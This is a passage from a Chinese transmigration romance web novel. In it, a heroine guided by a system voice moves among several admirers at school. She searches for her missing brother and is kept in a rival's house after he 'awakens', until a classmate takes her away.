既来之则安之,假使真的来了,首先她不能表现出脆弱的情绪。 阮柚正色,尔后清了清嗓。 “请进。” 病房的门打开,而进来的人却让阮柚神神情一恍。 少年走了过来,灰色帽檐下,冷白的皮肤被染上了温润的阳光。 唔。 谁能告诉她,怎么来的人会是江净理? 系统音再度出现。 【系统:请宿主大人利用救命之恩,获取相应利益。】 阮柚明白了大概,抬头就对上了江净理看过来的视线。 他怀里抱着一株滚着晨露的百合。若无其事地,像没有看到她僵硬的神色变化。 少年放下了花,微微遮住了光:“醒了?身体感觉怎么样,有没有哪里不舒服。” 一连串的问题问得她有些懵。 身边,阮时小心翼翼补充:“是这个哥哥带我来得医院。” 闻言,阮柚这才嗯了声。 因为刚醒的缘故,她的脸色苍白,靠在枕边略略透明,唇间没什么血色。 像是被打蔫的玫瑰,本该在温室漂亮绽放,如今却被迫失真。 江净理看着这一切,目光渐深。 尔后,袖口忽然被她拽了拽。 他低头看过去。 阮柚抬了抬唇,眼睛干干净净地,却是理不直、气也壮。 “既然我救了你,那你也要帮帮我,对吧?” 江净理:“什么。” 阮柚眨了眨眼,微微呼了口气,尔后用毕生演技表演出复杂情绪。 她直直看向了他。 “你不是什么都知道了么?” “既然都知道了,帮我处理那些事情,应该是很简单的事吧?” 最后,也没忘记加上一记反问。 “不会连这点都做不到吧?” 原身害怕自己立的人设在学校被揭穿,也厌恶反复威胁自己的父亲,为了解决麻烦,就这样直接和他摊牌了。按照原漫剧情,在这段话说完后,江净理从此看清了她,开始对她产生了厌恶。 因为他最讨厌虚伪的人。 一长串台词说完,阮柚抿了抿唇,看着身边小阮时怔怔神色,默默为自己演技评分又加了十分。 看来演技效果不错! 就在她窃喜翘尾巴时,空气忽地传来了一声笑。 江净理:“好啊。” 咦? 这么痛快。 阮柚一怔,忽然听见小阮时哽咽的声音。 尔后,对方小脑袋扑在她的怀里,童声闷闷地,“姐姐,你不用为我做这些,我其实也可以保护你。” 唔。 误会大了! 她低垂下眼睛,欲言又止看着这一切,不知道小阮时为什么会这么想。 而这时,视野倏然一暗。 江净理伸手拨开她眉稍头发,嗓音纵容轻淡,“我为你做这些。” 少年话头一顿。 四目交接后,他说,“你也帮我一个忙好吗?” 第43章 第四十三章 约定 晴空万里。 听见系统传来任务成功的提示音, 阮柚呼了口气,心间那颗大石头总算是落地了。 任务算是正式完成了。 先前晕倒的原因是因为低血糖。 出院之前,医生看了看她的报告单, 一直嘱托她平时要好好吃饭。 即使在她反复解释过自己真的没有挑食节食的习惯,也丝毫不奏效。 仿佛认定了,她吃饭吃不饱, 一家子营养不良。 看她的眼神都有那么几丝怜悯意味。 于是乎——— 熙攘热闹的食堂。 阮柚放下了筷子, 盯着满当当的碗,陷入了久久沉默。 周围同学视线落过来, 遮遮掩掩地,眼底灼热却怎么也藏不住。 他们没怎么见过顾叙和江净理出现在食堂,还坐在这里一起吃饭。 毕竟圣煜潜在的等级划分严明,他们去的都是学院最高层的定制餐厅。 目光不约而同落在中间少女身上。 扮演着被投喂的角色, 若目光有实质,那么她快要被人盯穿了。 阮柚眨了眨眼睛, 不自在之余, 依旧弄不清楚情况。 不是。 他们为什么非要看着自己吃饭啊! 正当发愣间隙, 一道熟悉声音在耳边响了起来。 低头时, 下巴被缓慢挪了挪。 迎上透窗而过的阳光, 阮柚眼皮微微一颤,薄白皮肤覆上了温热的触觉。 蜻蜓点水般,触及则分。像是一场意外的停留。 江净理语气轻淡:“忘了咀嚼了。” 他的动作熟稔自然, 距离靠的不远不近, 足够令人放下戒备。 阮柚回过了神, 牙齿咬了咬嘴里西兰花。 少女腮间鼓鼓囊囊的,上下嚼地很快,像是拿来泄愤似的。 安安静静没搭话, 心思落在了眼前的食物,丝毫未觉察刚才转瞬的亲密。 又或者说,不在意。 互动落在另一位人眼里。 阳光下,少女一头黑发如瀑垂在肩后,发尾处弧度微卷,几缕不听话地贴在江净理撑起的手肘处。 像是快把人揽入怀里似的。 顾叙安静摩挲杯沿,垂下眼底漆黑。 “喝点温水吧。” 一个玻璃杯推到了眼前。 他的骨节安静扣在上面,手指修剪地干净,被玻璃衬得愈发冷白修长。 阮柚看向身边顾叙,刚好她有些渴了。 “谢谢你。” 正值吃饭高峰期,食堂人多眼杂。 她本就不欲在这里停留太久,囫囵咽下了水,就抱起餐盘起身了。 视线左右落在了两人身上。 四目交接。 阮柚还是补上:“你们聊吧,我还有别的事。” “阮柚。” 江净理站起身,在她前面停了下来。 他今天穿了身白衬衫,气质愈发清冷。而笑起来,却像忽然有了温度,怎么都让人移不开眼。 偷拍的人忘记关闪光灯,亮光转瞬即逝,出现的有些尴尬。那人放下手机,捏着朋友胳膊,快要把头埋进餐具里了。 江净理却无知无觉地笑。 仿佛只看得见眼前人。 阮柚抿抿唇,看他朝自己走近。 江净理最近更奇怪了,又或者说,他原本就不太按常理出牌。 一直都游离在事况之外。 她为这个想法感到些许惊讶,再度对上视线,眼神重新恢复平静。 阮柚:“有什么事么?” 在靠近距离里,能够闻到对方身上特别的冷木香,肆意交缠着融入了鼻息。 江净理低头问:“还记得我们之间的约定吧?” 少年嗓音轻轻地,叠着那道人影,好似在说什么悄悄话。 再强融不下第三人。 顾叙看着,唇边和煦笑容依旧,可胸口情绪压抑,那股深藏的控制欲望快要压不住了。 不可以这样。 这样的话…会被阮柚讨厌。 阮柚翘了翘嘴角,“当然。” 她继续道,“答应的事,总不会失约吧。” 江净理一怔,抬了抬唇角。 像是想到了什么愉快的事,他的眼底染笑,低声重复了遍。 “好啊。” “我会等你来的。” 这次,可不要再骗我了。 他想。 兜里手机忽然震了震。 阮柚低头看了眼备注,是阮母来电。 犹豫片刻还是接听了电话,听见的却是小阮时的声音。嗓音轻脆脆地,像是冬日暖阳,永远积极向上,能驱散所有的阴霾。 小阮时:“姐姐,我给你——” 阮柚呼了口气,迟疑手指,还是把这通电话挂断了。 那头声音戛然而止。 一切恢复了原有的平静。 她一人走在了圣煜的林荫小路,忽然想起了系统昨日的嘱告。 为了维持人设,不该生出对人物多余的情绪,即便是零星的同情,也不行。 短暂生活的上辈子,阮柚体验过什么是亲情的温暖,也因为生命的倒数,品尝过内心曲折变化。 来到这世界后,她看着小阮时那双眼睛,恍惚间像是看见曾经的自己。想要抓住什么的渴望,就像是靠近光热的本能。 不知为何,那双落寞沉寂的眼睛久久难以挥散。 阮柚叹了口气,把多余情绪变化扫平。 现下,不能再想那么多了。 回到教室。教室空荡荡的,没有人。 她看了眼课表,想起下午是社团活动,应该都出去参加活动了。 窗帘前阳光浮动,慵懒落在了课桌。 阮柚靠在椅子上,困意略略上头,索性没有出门,一个人趴在桌上睡着了。 混沌梦境渐渐在脑海铺展开来。 她梦到自己坐在一个摇曳的秋千上,秋风凉爽干燥,缓慢规律地颤动衣衫。 身后有人推着她的肩膀,那人靠在了耳边,慢条斯理、又不知疲倦的落下呼吸:“阮柚,你会回来吧?” 荡远,又重新回到了他身边。 “我会一直在这里等你。” “无论你在哪里。” “我会找到你的。” 秋千拉引的绳索倏然断开,那道轻浅的声音随天边飘开的枫叶,一点点刮过细嫩耳廓,如影随行地钻入了发凉的皮肤,久久不曾消退。 至此,天旋地转,视野扭曲到极致。 阮柚忽然睁开了眼睛,毫无征兆的苏醒让她下意识晃了晃神。 她的身后汗涔涔地,心口发涩。 抬手松了松脖颈,才慢半拍找到了些许真实感。 怎么会做这样的梦呢…… 好奇怪。 “做噩梦了么?” 闻言,阮柚心一跳。 不知何时,顾叙已经走到了她身边。 无声无息的。 教室就剩下他们俩人。 这道温柔询问清晰到几乎突兀。 面前被递来了一张纸巾,阮柚抿了抿唇,没接,只默默看向了顾叙。 他什么时候过来的。 阮柚的确是做了梦。但不知为何,刚才那场看似荒谬的梦境,实实在在让她产生异样的感觉。 或许是梦里画面过分的真实,就好像是有人真的在耳边低语过似的。 四目交接。 顾叙一笑:“吓到了?不用怕,梦里发生的都是假的。” 少年微俯下身,声线柔和到安抚。 柔软的纸巾就这么慢吞擦过她发汗的额角。力道控制的很轻,没有冒犯意味,只有不知从何起的专注。 反应过后,阮柚低唔了声,承着他的动作,本能缩了缩脖颈。 等一下。 顾叙现在,在给她擦汗吗? 阮柚眉眼微动,被擦过的皮肤温热尚存,她抬起手想去拦,却无意间撞上了对方的手。 一时间,手指就这么穿扣进对方指间。 勾缠着温度,融在了对方的皮肤里。 顾叙动作一顿,眼神划过几分异样,很快又被清浅笑意所取代。 “阮柚,怎么了?” 阮柚懵:……… 触电般猛的弹了开来,她略有心虚仰起了头,一瞬闪过的懊恼和窘迫被对方捕捉了全然。 刚才做了什么啊喂! 顾叙卷了卷手指,目睹一切,眼底笑意更甚。 他不知道自己为什么会这么做,但面前的人是阮柚,他总想帮她做任何事。 又或者说,留下他的痕迹。 好可爱啊。 阮柚抿了抿唇,开口,“我没什么——” 而她的话还未说完,教室门前忽然一声突兀哀嚎。 顺着动静往前看去,阮柚眼皮倏然一跳,不太好的念头很快凝上了心头。 不、不是。 怎么突然间这么多人? 被挤到门框外、又摔到地面的男生揉肩膀站起来,语气幽怨十足,“你们谁推的我?你们故意的吧。” 过了半晌才有人弱弱答,“没人推你,是你自己没撑住门框。” “明明就有。” 男生继续嘟囔着,后在同伴挤眉弄眼的提醒里,忽然意识到了什么。 等等等等! 偷听这件事好像暴露了。 尴尬——— 同伴扶额,一脸黑线。 你丫的现在才意识到! 沉默里,空气陷入短暂的尴尬。 阮柚面无表情看向一行人里的李稚。 四目交接后。 李稚尴尬挠了挠脖颈,“我们刚好回来。” 话落,她落下了手,慢吞吞发问,“没有、没有打扰到你们吧?” 阮柚一愣,尔后忙晃了晃脑袋。 什么跟什么! “没有哦。”顾叙来到她身边,若无其事,“我在和她说些事情。” 阮柚一听,为了熄灭莫名的八卦之火,囫囵点了点头。 “没错,就是这样,我们在说一些重要的事。” 顾叙颔首,又慢条斯理问:“后天我的钢琴表演,你会来吗?” 倏然抛来的问题,打得阮柚措不及防。 嗯? 少年的灰眸深邃专注,一不留神就引人陷落,阮柚看着瞳孔映着的自己,不知为何,拒绝的话怎么也说不出来。 更何况。 想了想原漫剧情,那里应该有处重要剧情。 “好。” 答应过后,顾叙朝她笑了笑。 他笑起来很干净,唇弧浅浅地,让人联想起慵懒的白猫。摊开爪子,温柔地拿毛发磨蹭示好。 两人站在那犹如流动的画卷,怎么看都觉得异常般配。 至少李稚是这么想的。 她轻轻拍了拍阮柚肩膀,揶揄里有带了那么一丝丝鼓励。 不知又想到哪边去了。 阮柚心间无奈,下课了,同学一个接一个走进来,她觉得有口说不清。 李稚绝对是误会了什么! 得找个机会解释。 默默记下来,阮柚就这么回到了座位。 毫无征兆间,系统的声音忽然出现。 而后,一段详细的剧情接踵而至。 [顾叙手指轻巧弹着钢琴,一曲终了,掌声雷动下,他终于在人群里捕捉那抹纯白的人影。 他知道,她会来的。她的出现让她真切感受到被重视的滋味。] [他会给她绽放光彩的机会,让别人知道,属于她的美好。] 是原漫里顾叙和宁糖的剧情线。 犹如一段段闪过的旁白,阮柚抬了抬眼皮,拿着笔百无聊赖地在纸上画了画。 所以? 系统解释:“宿主只需要保证女主宁糖当天到场。” 这个任务安排令她略感意外。 毕竟按照既定人设,她作为女配,应该是要搞破坏才对。 系统应该是看出她的疑惑。 它顿了顿,幽幽补充,“现在最重要的是维持大致剧情。” 因为已经有偏转的趋向了。 阮柚心领神会点点头,默默为自己打气。 没有人比她更想快点完成任务。 铃铃放学钟声响起,她拎起了书包,忽然觉察几分不对劲。 好像里面装了什么东西。 顾叙看她愣在原地,放下了怀里的书,走来轻声询问。 “怎么了。” 阮柚低头,“书包里多了些东西。” 顾叙一怔,温下声,“介意让我知道吗?” 阮柚看了他一眼,犹豫把书包拉开更大。 他看了过去。 阮柚眉眼微动,将一罐装满彩色千纸鹤的透明盒拿了出来。 目睹全貌后,她微微一愣。 “很漂亮呢。” 顾叙低头评了句。 他的评价很客官,至少在阮柚眼里,它们组合在一起,的确漂亮的不像话。 目光定在千纸鹤用彩笔描绘的字迹,很快就有了答案。 随即,她脑海一闪而过小阮时的脸庞。 他今天是有话想要对她说吧? 会是什么话呢。 阮柚忍不住猜想。 顾叙:“送礼物的人很用心。” “嗯。” 阮柚眨了下眼皮,不知为何,胸口热热的。 她把千纸鹤放了回去,凝上了个念头。 她要回去看看。 “应该是我弟弟送的。” 她轻声道。 顾叙一怔,笑意染上了眉梢:“他一定很可爱。” 末了,他又道,“像你一样。” 第44章 第四十四章 觉醒1 可爱? 从沉思走出来, 她恰好听见这个形容词。 阮柚眉心微动,默默背好了书包。 最后,她很认真地点点头, “顾叙。” 顾叙:“嗯?” 四目交接。 “你还挺有眼光的。” 阮柚翘了翘唇角,被当面夸奖的滋味——嗯,还算不错吧! 顾叙低头轻笑, 胸口泛起痒痒的涟漪。直到人走远了, 还没有收回来视线。 他想。 什么时候她能为自己停留呢?- 外面不知何时起了风。 道路车水马龙,不远处十字路口车流交织, 阮柚站在路边人群里,思忖等会该做些什么。 应该当面说声谢谢吧。 一直以来,她都很珍惜别人手工送来的礼物。 对她而言,时间是流动倒数的进行时, 所以愿意为她花时间心思的人,是可遇而不可求的。 手指纠了纠书包带, 阮柚看了看天色, 晚霞染红了天际, 连云都有了颜色。 很自然真实的美。 她一瞬恍惚。很多时候, 她都把这里当作本不该存在的世界。 但待久了, 她开始觉得这里一草一木、甚至遥遥传来的车鸣,都和现实毫无出入。 连在这里遇见的人也是。 绿灯亮起,多余的惆怅很快一扫而空。 阮柚抬抬唇, 不再多想。 过了路, 手机铃声却倏然响了起来。 而与此同时, 一道系统警告声跟着响起。 系统:“检测到世界线不稳,请宿主及时调控。” 阮柚:? 她一懵,心头莫名发紧, 低头看了眼备注。 是宁糖。 "喂?" 或许信号不太好的缘故,那边声音断断续续,但依稀能辨出不安,“阮柚,你、你知道阮时去哪里了么?” 阮柚脚步倏然一顿,“什么?” 那头隐隐有了哭腔,“我遇到阮时,看他一个人就和他顺路走,没想到一个系鞋带功夫,人就不见了。” 阮柚心口一跳,“是回家了吧?” “问过了,没有回。” …… 电话挂断。 阮柚握着手机心思泛空,心跳有些失序,一股即将失去控制的预感怎么也压抑不住。 会去哪里呢? 许是运气是顺延而下的,阮柚路边等了好久计程车,也没见空车停留。 天色已然暗淡了下来,傍晚温度略略转凉,她想起系统的警告,隐约也开始着急起来。 看了眼时间,过去快十分钟。 阮柚抿唇,打算换个交通方式。 而恰在这时。 一道清晰起伏的鸣笛声忽然闯入了耳际。 阮柚身形一僵,回头便对上了熟悉的面容。 城市的光影寥落,缓慢下降的车窗下,渐渐露出了成玉的一双眼睛。 漫不经心垂着眼皮,瞳孔深黑纯粹,却没有什么焦距。 阮柚一怔,她好像没怎么见过这样的成玉。 少年面容精致无暇,眼尾垂的发倦,而甫一对过来视线,像是忽然抓到了什么。 目光直穿了过来,很快潋滟起漂亮的光。 “学姐,原来真的是你。” 他扬扬唇,眼底倦怠扫空,伸手打开了车门。 一副欢迎的姿态。 前排司机看个清楚,绷紧下颌不语。 少爷所有情绪在这人面前完美隐藏了。 没有阴沉蓬勃的破坏欲、如藤蔓攀升的戾气,只有蓬勃朝气。像是森林里蛰伏的猎人,在靠近心仪猎物时,总会收起锐利,伪装成最柔软的表象。 莫名飘远了思绪,司机瞄了瞄外面的少女。 即使穿着最朴素的衣裳,仍旧漂亮的不像话。 猜想应该对了个七七八八。 阮柚自然不清楚前排司机弯弯绕绕的脑回路。也不知道在拒绝之后,成玉为什么还要坚持。 耳边系统警告声愈发强烈,一拍重过一怕鼓噪起耳膜。 压地升起不安,她手心隐隐冒汗。 是发生什么事了吗? “你去哪里,我可以送你。” 成玉接着道,“为什么要拒绝我呢?难道麻烦陌生人,也比麻烦我强么。” 说到了最后,成玉的语调隐约降下,眼底的光芒晦暗寂灭。 少年低垂下眼睫。莫名让想起流浪徘徊的小狗,守啊守,也等不到想见的人。 但怎么可能呢? 将这个想法很快晃出了脑袋,阮柚心中佩服过剩的想象力,定了定神,还是上了车。 毕竟现在最重要的事是去找阮时。 上车以后。 阮柚揉了揉发胀眉心,轻下声,“把我放在C街的那个路口就好了,我有些事要办。” 具体的没有说。 而成玉也没有问。 两人坐在后面,空间并不狭小,但从始至终,阮柚总是察觉到一道浓重视线。 她抿唇,“有、有什么事吗?” 被一直看着地滋味并不好受。还是在系统不停的警告声里。 她试图询问系统为什么,可系统却掉了链子,除了源源不断地警告,再无其它。 所以从始至终,阮柚交叠的双手不曾分开。 少女脊背贴在座椅,内里警惕无声细化在安静的空气里。 也全然落在了成玉眼底。 车里播放着舒缓的音乐,是首温柔缱绻的英文歌,男声唱的磨砂般性感,宛若寸寸捆在心间的暗线。 如雾气般缠绕不清。 阮柚:“为什么一直看我。” “因为学姐好看,怎么看都看不够。” 成玉忽然笑了笑,惯有的漫不经心姿态,此刻却多了分孩子气。 因为耳廓蔓延至脸颊,都隐隐泛着粉红。 她一愣。 觉得成玉眼里多了层其他的情绪,她说不清,但就是觉得哪里有了变化。 再定神,阮柚挪开目光,下意识缓和气氛:“我一直都这么好看。” 说罢,视线移至车窗,不欲搭话。 怎么目的地还没到呢? 成玉慢吞转动着无名指上的蝴蝶戒指。 对方看不见的角度,他的注视并未收敛,从头发到耳廓,再到攥到发红的细长手指。 成玉阖了阖眼皮。 这些天来,他一直循环做同样的梦。 梦里他总会梦见一个女孩,穿着洁白漂亮的裙子,向自己跑了过来。 少女干净到犹如山间精灵、也像是翩然灵动的蝴蝶。 但是蝴蝶就是蝴蝶,总有一天,她终究会飞离他的世界。 从此他的世界还是只有他一个人。 “路……” 阮柚迟疑出声,“好像不是从这边转的。” 记错了吗? “阮柚。” 成玉忽然叫他。 莫名地,对方的嗓音发沉,略略几分沙哑。 阮柚再回头。 却忽然被拢入了对方的怀抱。 嗯? 心头一震。 少年埋下的气息炙热浓重,双臂环绕在薄肩后,收紧的力道像是想要将她嵌入怀里。 反应过后,阮柚心口发紧,呼吸跟着重了重。 “怎、怎么了?” “先放开我再说。” 挣扎显得微乎其微,尔后,少年再次低低落下声音。 “我知道你要去哪里。” 阮柚短暂一愣,动作消了下来。 他知道自己要去找阮时了? 难道是、立的人设提前被发现了? 这个逻辑似乎也能说通。 但是现下—— 就算是这样,能不能先放开她再说呀! 前排司机目不斜视开车,面无表情地将敬业精神发挥到及至。 阮柚咬咬唇,想扒开少年的手,却不小心碰到了对放坚硬的戒指。戳在指间软肉,陷得很浅,但她还是下意识收回了手。 “就算是知道了,也得有话好好说啊。” 最后,阮柚只好把心里话说了出来。 心像浮着,不断涌现着不安。 仿佛有什么事情发生了改变,挣脱了原本的束缚。 变得难以控制。 阮柚抿唇。 她、她又没有骗他钱。 为什么要抱着她不放呀! 她的话语却倏然一顿。 肩膀处微微发凉,触感陌生而突兀,阮柚晃了晃神,这是…… ——哭了? “对不起。” 成玉低声,他如今的头很痛,但本能让他不要松手。 “我不能失去你。” 话语就这么徘徊至耳旁。 阮柚喉咙发紧,仍旧游离在情况之外。 莫名恍惚间。 她觉察到对方语气的认真。 再度抬眸。刚好对上了成玉的目光。 少年狭长的眼尾微微泛红,复杂漆黑的情绪翻涌而过,像是在竭力压抑着什么。 模糊混沌的意识里,他为她戴上了戒指,蝴蝶的形状刚好圈住了她的手指。 “这一次。” 少年一顿,语调缓慢而虔诚:“你不会再飞走吧。”- 再度醒来时。 清浅的阳光沉沉坠落在眼皮,阮柚微唔了声,率先入耳的是系统的声音。 系统:“不好意思宿主,检测到功能出错,已经重新维修好了。” 清醒过后,阮柚环视四周,太阳穴突突跳。 “你能告诉我现在是什么情况吗?” 为什么她会在这个陌生的房间醒来。 为什么…… 一想起脑海停留的画面,阮柚忙展开手指,阳光下的蝴蝶光芒灵动。 很漂亮。但在现下这个时局,怎么看都觉得万分诡异。 果断拿了下来,阮柚听见系统再度发话。 或许是心间有愧,系统这次心虚难掩,那道电流起伏跳跃着:“宿主大人,有个好消息和坏消息,你想先听哪一个。” 阮柚揉揉脑袋,她最讨厌这样的问题了! 顶着一头炸毛,她幽幽开口,“坏消息。” 系统:“如今经过升级,成功检测到成玉人物觉醒迹象。” 什么!! 晴天霹雳—— 阮柚呆了两秒,听系统自顾自说起了好消息。 系统越说越心虚:“好消息是,暂时没有检测到其他人物觉醒,所以宿主可以通过修正剧情,及时将此扼杀在摇篮里哦!” 话落,系统飞速说了几句鼓励话语,便一溜烟地下线了。 等阮柚再度反应过来,已经进入了装死模式。 不是。 这算是什么好、消、息啊! 阮柚眼皮乱跳,趿上地面放好的拖鞋,方才找到几分真实的安定感。 环顾四周,布局装潢华丽庄重。房门严实关合,壁灯旁还放着专门安神的木质香薰。 阮柚努力让自己平静下来。 若是猜的没错,应该是成玉所在的地方。 接受了那个凝重的消息,昨日少年的反常也便有了答案。 但是有一点她实在想不通。 既然事情已经发展成这样。 为什么要来找她。 不应该去找女主么! 第45章 第四十五章 觉醒2 阮柚把叉子放在桌上。 周遭很安静, 轻微的瓷器碰撞声也显出了突兀。 她把目光默默投向了过来的女佣。 可女佣始终低着头,眼里只看得见桌上晕开的那小片水渍。 擦完桌后,她恭敬地和成玉照会了一声, 便埋头离开了。 日光倾泻而下,恰好照在成玉的侧脸,他的眉眼带笑, 黑发很柔软地耷在了眉骨。 端坐在对面, 如同精致且没有攻击性的艺术品。 阮柚很快将这个奇怪的念头掐断。 毕竟,他现在的眼神深邃到无法细究。 仿佛要将自己刻进去似地, 让她一举一动都感到无由来的沉重。 “这些都是你爱吃的。” 成玉微倾过了身,“学姐太瘦了,要多吃点才好。” 阮柚抿唇,面前推来一只骨节分明的手。 是一杯温热的牛奶。 少年的语气熟稔而自然, 仿佛是在和她说着再熟悉不过的家常。 而不是…… 阮柚看向了成玉,“什么时候放我出去。” 她的眉毛皱了又松, 第一次遇到这么棘手的事情, 因此至今也没想到最佳方案。 觉醒。 他为什么会无缘无故觉醒呢? 而且, 为什么要这样呢, 她想不通。 成玉安静看着阮柚。 他没有开口回话, 一双眼睛却异常专注柔和,似乎真的在认真思考这件事。 尔后,他起身走了过来。 少年身上散开的气息, 宛若山雨淋湿的松木, 清淡到几乎隐晦。而如今手指搭垂在她的椅背, 那股若有若无的侵/略气息如有实质。 阮柚脊背不知觉地绷紧些。 她不知道该怎么面对这样的成玉。 仿佛,和曾经的他全然割裂开。 又仿佛,这就是原本的模样。 不知为何, 阮柚想起成玉在原漫里的设定。 骄矜傲慢的小少爷,从小在复杂家庭环境长大,刻在骨子里的胜负欲,让他天然有种对什么都要势在必得的占有欲。 而得罪他的会被报复的很惨。 阮柚心情复杂。 少年的双手搭在了她椅背两侧,低头不放过她任何的情绪变化。 即使是蹙着眉头,也是灵动而鲜活地。 日光遮下来阴影,她像是被完全笼在了身后人怀里,无处可避。 伴随沉默的延长,让她很不适应。 正欲起身之际,身后的成玉蓦地出声,“你不喜欢吃这些了?” 少年不答反问,话题跳跃地令她怔松。 她的视线再度投向了饭桌。 尔后,阮柚呼吸微滞,一种没由来的茫然爬上了心头。 为什么? 阮柚发觉自己嗓音有些哑,“你怎么知道我喜欢这些。” 成玉这才走开,拖动她身边的椅子坐下,漂亮的眼睛满是骄傲,“因为我了解你啊。” 他慵懒撑着半边腮,像只赶也赶不走的猫,骄矜划定着领地, “我会比任何人都了解你。” “……” 阮柚动了动唇,先一步避开视线。 “别闹了,成玉。” 逐渐归拢回理性后,她硬邦邦反问,“你知不知道自己在做什么?” 成玉:“你还在担心你弟弟么?” 他的手指摩挲起牛奶杯,轻声,“我说过了,他现在很好。” 话说着,不知哪里挑动起了成玉的神经,他垂眸看着她,越说,语气便愈发轻快起来。 “所以不用担心他了,在这里陪着我不好吗?” 对上成玉认真的神色,阮柚一时哑口,只觉得一拳挥在了棉花上。 她发觉,自己如今和他的脑回路,半点也对不上号! 安静间隙,一只手忽然被对方轻轻抬了起来。 意识到什么,阮柚骤然想要抽回去,却被成玉按在了指间,嵌在了他的掌心里。 阮柚:“我不要戴这个。” “你还不明白吗?” 成玉拉起她的手,桃花眼微微弯起,“我很清楚的知道我在做什么。” 她被对方牵着走进了一个陌生房间。 阮柚心脏砰砰直跳,轨迹开始朝着失控的方向极致运行。 她紧靠在房门,看着少年一步步朝她走近。 地板都是各种各样的没有送出的信。 “我只是太喜欢你了。” 成玉抬唇一笑,耳根泛起薄红,“所以才想要靠近啊。” “学姐,这些都是我给你写的信。” “可你一次也没有看过,我读给你好不好?” 这些话轰然在脑海里炸开。 阮柚晃了晃神色,头脑一团乱麻。 她怔怔看着一切。 他在说什么……? 喜欢? 来不及陷入错愕,阮柚看着他拆信的动作,指尖捏着掌心软肉,痛觉让她瞬间清醒了过来。 不可以这样。 事情……也不该发展成这样。 毕竟多米诺骨牌下,一张底牌骤然倒下,其他构建的一切注定会轰然坍塌。 到时候,所有心血就会付诸东流。 “我不喜欢你,成玉。”阮柚阻止他的动作,清凌凌地,“所以别再这样了。” 成玉一怔,顺着她的动作放下了手。 四目交接,少女眉眼纯然认真,从中看不到丝毫的虚假。 看啊。 她说了不喜欢自己。 不喜欢自己。 所以毫不犹豫,就能甩开自己。 就留下他一个人。 晦暗情绪本牢牢地压抑在胸口之下,随着隐约抽痛的呼吸,缓慢地逸散开来。 像是陷入了走不出的怪圈。 反复重复着认定的逻辑,甩不开,躲不掉。 只能伪装藏住。 少年垂下了眼睫,尽数情绪藏匿成空,再次抬眸,眼眸明亮而干净。 “没关系。” 他慢吞吞开口,满不在乎地说,“我喜欢你就好了。” 只要能看见她。 就够了。 阮柚抿唇,按紧的掌心隐约冒汗。 刚才的成玉很不对劲,纵然他的情绪一瞬即逝,但她依旧偏巧捕捉到了。 就仿佛,压抑极度的渴望,却又茫然无措。 挣扎在痛苦边缘。 她的手指已经握在了门把手上。 下意识防备的动作让成玉有些沮丧,他垂下头,小心翼翼朝阮柚伸出手。 温度很凉,随意覆在了她的手上。 少年曲起的手背薄而白,透出蜿蜒的青色血管。 就这么全然的包裹住。 “走吧。” 成玉偏头,陪她完成开门的动作,“我们先去吃饭。” “其他的,等会再商量好吗?” 阮柚就这样妥协的吃了饭。 饭后,忽然瞥见了事态的曙光。 沉寂许久的系统终终终于上线了! 可再然后,阮柚再也振奋不起来。 肩膀耷拉着,沮丧又无奈。 因为系统研究半天,也没研究出具体缘由。 末了,它只好心虚安慰了句,“宿主,你不会一直呆在这里的!” 彼时阮柚坐在房间,看着女佣给她送来一套套价值不菲的衣服。 她真的不知道成玉在想什么。 也不知道为什么成玉会那么看她。 就好像,两人认识了很久,所以眼神才会那么深刻。 想不通,想不通。 她揉了揉脑袋,目光移到了窗外。 不知不觉到了午后。 这时,一向沉默的女佣罕见出声,“小姐,少爷问你还有什么需要的。” 阮柚抬头,“我什么也不需要。” 女佣领会后点头,最后偷看了眼坐在床边的少女。 皮肤雪白,和洋娃娃似地,让人想起古典油画里的精致少女。 所以,这就是少爷不惜一切,也要得到的人吗? 门再度闭合。 阮柚泄愤似的锤了锤枕头,对着华丽空荡的房间发呆。 如果系统事前知会她会经历这些。 她早就!撂挑子不干了! 她要离这个鬼地方! 幽怨——— 许是上天听见了她的呼唤,冷风虚虚吹开了窗户,细微异动吸引了她的注意力。 阮柚不由自主走了过去,敞开窗户,任由清凌的凉风吹拂发梢。 低了低头,忽然凝起了一个念头。 这里说高也不高,从这里跳下去。 应该……没事吧? 但是阮柚越想越心虚,原因无他,她恐高! 【系统:宿主,我有办法。】 忽如其来的系统声拉回了她的注意,也彻底打消她的念头。 阮柚默默合上窗,清清嗓,“什么办法。” 【系统:重要人物即将登场,宿主只要等待就好了。】 阮柚看着系统传导过来的画面。 此时的成家正在举办一场盛宴,很是热闹。 而顾叙,恰好是赴宴的一员。 他已经知道她在这里。 内心燃起了细微希望,阮柚重新坐回了床边。 而后,不知不觉眼皮发重,渐渐陷入了混沌的梦乡。 再度醒来时,夜色已至。 门外传来开房门的窸窣动静。 “就是这里了,少爷。” 助理擦了把细汗,全程盯着自家少爷不敢放松。 他摸不清对方的意思。 毕竟他只是个生活助理,不知道少爷为什么突然把他喊来找人拿钥匙。 “嗯。” 顾叙点头,“辛苦了。” 他推开房门,看见床边眼睛发亮的少女。 少女着了身漂亮的碎花裙,两截细瘦脚踝白的晃眼,就这么直直闯入了视线。 顾叙平静看了眼助理。 感受到一股乌沉沉的压力,助理赶忙回神,随便找了个机会走开了。 天啊! 要取回来的,是个小姑娘! 想象力丰富的他瞬间脑补豪门兄弟争夺大戏,最后在下台阶时差一点踉跄跌下。 阮柚兴冲冲跑向了顾叙,看他的眼神,活像看见了救世主。 “顾叙,你来了!” 情绪就这么被感染到,顾叙抬了抬唇,安抚性揉了揉她的头发。 “嗯,现在已经没事了。” 他低垂眸,“我来带你离开。” 阮柚仰头看他,等的就是这句话。 她现在真的特别、特别想要离开! “等等。” 顾叙忽然道,轻轻拉住了她的手腕。 “怎么了?” 阮柚步伐一顿。 顾叙淡淡一笑,“换鞋,外面冷。” 阮柚默默垂下了脑袋,看了眼踩在地面的脚,这才反应过来。 刚才一激动,甚至连鞋子也没顾得上穿。 一时羞窘。 很奇怪的是,一路出去畅通无阻,基本没多少人。 顾叙解释,“他们都在前面赴宴,所以不会有人过来。” “原来是这样啊。” 阮柚看着逐渐上升的车窗,没再有多余的好奇。 尽在不言。 顾叙则偏头看着她。 等到回神时,手指已经落在了她的戒指处。 “蝴蝶。” 少年低下了长睫,很温柔地出声。 夜色浓稠如缎,倒退的城市光景斑驳落在了少年的灰眸。星星点点坠入其中,温柔地藏匿了所有的光亮。 阮柚视线微微聚焦,跟着落在了那处。 唔,不说她还忘了。 “你帮我……” 阮柚话语一顿,还是问道,“还给成玉,可以吗?” 四目交接。 她很认真的发问,眼底满是信赖与认真。 她依赖他。 这个念头甫一升起,便在心头渐渐生出烫,仿佛连着血液都开始滚烫的流动起来。 